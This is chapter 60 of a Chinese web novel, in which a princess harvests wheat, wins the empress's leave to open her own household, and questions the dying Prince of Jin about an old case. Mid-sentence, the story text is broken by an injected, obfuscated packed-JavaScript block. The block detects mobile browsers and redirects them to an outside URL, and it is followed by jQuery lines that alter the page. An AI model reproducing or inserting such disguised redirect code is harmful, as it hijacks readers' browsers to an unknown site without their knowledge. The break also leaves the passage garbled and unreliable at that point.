60. 第 60 章

作品:《县主她有男人了

    李仙惠翻开请帖,有些诧异:“你们家王妃请我赏花?”


    晋王府下人恭敬道:“是!”


    听说晋王病重,孙王妃怎么还有心思赏花?李仙惠应了下来:“麻烦转告王妃,明日我要去城外收割冬麦,后日我必登门拜访。”


    下人带着回复走了。


    薛辟疆挨了过来。


    “晋王他又要做什么?”


    李仙惠摇头:“无所谓,我本来也想见他一面,有些事情还需要他替我解惑。”


    “后日我陪你一起去。”


    李仙惠笑道:“自然。”


    若是晋王埋伏了刀斧手,还要靠他杀出重围呢?


    终于到了小麦收获的时候,前几日郭诚就递了消息过来,请她去城外一观,正好李仙惠也想去看看丰收的场景。


    一大早,他们就出了城,一路上见到百姓在地里忙活,见到他们来,百姓纷纷拜倒叩谢,一个个脸上洋溢着喜悦。


    要不是这位贵主强逼着大家种了冬小麦,他们哪里能熬得过这一年,只怕一家子都饿死了,他们心底是真的感谢这位贵主,都觉得她就是上天派来解救世人的菩萨。


    李仙惠连让人扶起他们,又关心地问他们:“这些粮食还完债后可够吃一年?”


    里长拄着拐杖,颤颤巍巍上前,他是激动的。


    他跪下给李仙惠磕头。


    “贵主放心,够吃的,陛下给我们免了一年的赋税,只要老天爷赏饭吃,我们日子好过的。”


    老百姓对生活要求从来都不高,只要吃过一年就好。


    “这收割后,你们把地里再种点什么,别荒了。”


    里长点头:“很是很是,县令也派人来跟我们说过了,大家商量了下种点豆、麻,熟得快也不耽搁秋日下麦种。”


    李仙惠笑了:“今年还打算种冬麦。”


    一旁农人抢着回答:“这麦产量高,比种粟划算。”


    里长憨笑:“陛下允许我们用麦抵税,我们就想多种些麦。”


    李仙惠点头:“只要能让你们吃饱,不管是粟还是麦,都是好粮食。”


    眼看天色热了起来,郭诚前来恭请她回城。


    李仙惠却摇头,问身边的农人借了镰刀,她准备亲自下田割些麦子。


    又农人上前帮忙,被她拒绝了:“我想亲自割来送人。”


    众人这才没有上前,薛辟疆有些紧张,低声道:“要不我帮你吧。”


    怕她会伤到自己。


    “你太小瞧我了吧。”


    但她这话说大了,这时候镰刀还真不那么好用,她只割了一两把就不行了,细嫩的手上红了。


    “可能会起泡。”薛辟疆不快的看了她一眼,好像这泡长在他手上一样。


    “我来吧。”他抢过镰刀快速割了一大堆。


    “够了够了。”


    李仙惠让薛辟疆绑好,又让薛辟疆付钱。


    百姓黝黑的脸涨的通红,推脱着不肯收:“贵主,这不值钱。”


    “收着吧,就算我买的,不然我就不要了。”


    田主不安地看向郭诚,希望县令能帮他说说话。


    “贵主给的赏你就收着。”


    那田主局促地擦了擦手上的汗渍,小心接过这一贯铜钱。


    这都够买好多石粮了。


    李仙惠在马车上细细包好,包成一束鲜花的模样。


    “好不好看?”她问车里的人。


    玉满点头,绿珠回道:“金灿灿的真好看,贵主真是心思灵巧。”


    李仙惠又给车外的薛辟疆欣赏:“怎么样?”


    “好看,就是有些单一了,要不再放几朵花。”


    李仙惠有些意外,他竟然还懂插花。


    “送给我的?”


    薛辟疆伸手想捞过去,李仙惠立马藏到身后:“这是给陛下的。”


    这可是她要去邀功的道具,怎么能给他。


    送花给男人,他想的美!


    李仙惠抱着一束麦穗风风火火往明堂冲,在殿外刚好遇到了章氏兄弟。


    两人恭敬地行礼,章大看着她手里的东西,开口奉承:“郡主好巧思,你这是刚从城外回来吗?”


    俗话说伸手不打笑脸人,何况这两人还是陛下身边的红人,可李仙惠不是一般人,眼风都没给他们一个,当他们空气。


    章二气的一佛出世二佛生天。


    “兄长何必自讨没趣,她就没把我们哥俩放在眼里过,我们之间的梁子是解不了。”


    章大整了整衣袖,并没有觉得丢人了。


    他心中冷笑,怎么可能解的了,中间隔着人家兄长的一条命呢?


    “她不搭理是她的事,我们只要做出这个姿态,让大家看到就行了。”


    章二冷哼:“我就是看她不顺眼,这么傲气,还真以为自己就是未来的公主了,也要看她有没有那个命!”


    “噤声。”章大断喝,飞快看了眼四周。


    “从哪里弄来的这个?”皇帝看着她手中的麦穗,笑着问。


    李仙惠把它放到皇帝案前,指着金黄的麦穗解释道:“这可是寓意岁岁平安,五谷丰登,都是儿亲自下田割的,陛下喜欢吗?”


    皇帝拨弄着沉甸甸的穗子,一眼看穿了她的意图:“这么讨好,肯定有事求朕吧?”


    “我这是真心孝敬,阿婆怎么能误会我呢?”


    李仙惠抱着她的手臂撒娇,皇帝被她缠的头疼。


    “快说事,不然朕可就不认账了。”


    李仙惠立马开口:“陛下,你看自从您回了京都,我这西京留守都没事干了,您给我换个位置呗。”


    皇帝了然,却故意装做为难


    “可这各处也不缺人,要不你还是先做着,再说了,你这西京留守才多长时间,升官也没你这么升的。”


    李仙惠撅嘴:“可我都没事情做,闲的慌。”


    皇帝想了一会,开口道:“那这样好了,允你开府,自己找点事情做,就不闲的发慌了!”


    李仙惠呆滞半刻,巨喜过望,她抱着皇帝的手臂,蹦蹦跳跳:“阿婆,你说真的吧,不是骗我玩吧。”


    皇帝笑她:“稳重点,像什么样子!”


    “我稳重不了,我真的可以开府?!”


    皇帝哼了一声:“你也别太过分。”


    “阿婆,您真好。”


    皇帝嘴角忍笑,推她:“去去去,就知道哄朕,朕不吃这套。”


    冯中宝低头,您不好哄,只要一把麦子而已。


    这是意外惊喜,李仙惠完全没想到皇帝竟然会允许她开府,历来除了东宫外,也就是亲王可以开府建牙,就是公主也少,陛下是要干什么呢?


    真的只是恩宠吗?


    “你去让人打听下福王府有没有动静,特别是建宁郡王,陛下有没有给他什么别的赏赐。”


    玉满点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058481|174291||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头,慢了几步,和小内侍们搭上了话。


    晚上,李仙惠就得到了消息,陛下安排李庆义去了司卫寺,这是离天子很近的关键部门,她心中有底了。


    目前来看,陛下还没有下定决心是要立显王还是福王,所以她把孙辈抬出来,是重用也是考验。


    次日,李仙惠和薛辟疆乘车去了晋王府。


    孙王妃脸色很憔悴,笑的勉强,请两人去了后院。


    她一次次扫过李仙惠,笑容苦涩,若是当初她依了儿子,让他娶了这位万年郡主,是不是一切就不一样了。


    两人客套几句,王妃说出了请她的真实目的。


    “我家大王想见郡主一面。”


    李仙惠点头,她也猜到了。


    孙王妃领着他们去了卧房,打发走了下人。


    “你们都下去吧,有些话我想私下和万年郡主说”晋王看向孙王妃和薛辟疆。


    李仙惠颔首,让薛辟疆去门外等他。


    晋王挣扎半坐气,他面颊消瘦,完全没有了往日的威风,但那双眼睛依旧锐利。


    “你还想一点都不惊讶。”


    李仙惠找了个不远不近的位置坐下,拂了拂衣袖:“晋王就算不来找我,我也要找你的。”


    晋王笑了几声,牵动肺部,又咳了起来。


    “你想问均州的事情?”


    李仙惠眼神变冷:“看来你心里有数。”


    晋王捂嘴,笑着摇头:“我猜你就是为了这个。”他看向李仙惠,神色一变:“我可以告诉你一切,但你必须答应我一个要求。”


    李仙惠看着他,神色不动。


    晋王叹口气:“我已命不久矣,这么多年来我就像颗棋子,受陛下驱使,做了很多对不起你们家的事,但府中其他人是无辜的,我只想保住他们的性命而已。”


    “既然是无辜的,你担心什么?”李仙惠带着点讥讽。


    晋王叹气:“陛下常说高李是一家人,这话也没错,若放在普通百姓家,你该叫我一声表舅。陛下百年后,高家免不了被清算,我不求保住荣华,只求苟全他们性命,你若是答应,你想知道的我都可以告诉你。”


    “为何找我?你应该找我阿耶和王叔?”李仙惠不解。


    晋王眼神发出灼人的光芒:“我只信你,你和他们不一样,你多了一份天真,那是在宫里长大的人所没有的。”


    不如直接骂她蠢。


    晋王注意到她变脸,笑道:“我可不是在说反话,你阿耶也很心软,可他没主意,不坚定,很容易被人摆布。”


    这下李仙惠脸色更难看了,当面说她爹,能开心才怪。


    “我这也是实话,你别不爱听,至于你王叔……”他摇头:“我不信他。”


    李仙惠没想到他会这么说,福王是公认的老好人,胆小老实。


    “若陛下立太子,我倒希望是你阿耶,这样高家人说不定还能活一些。”


    李仙惠震惊:“我王叔他……”


    晋王跟老狐狸一样,闭口不言了。


    “这个交易你考虑的怎么样了?”


    她有考虑的必要吗?均州案一直没有进展,晋王是她最后一个指望了。


    “只要他们真的无辜,我答应你。”


    晋王如释重负,轻松笑了:“你想问什么问吧,我知道的都可以告诉你。”


    “是不是你做的?”李仙惠走近,眼睛紧紧盯着他的表情。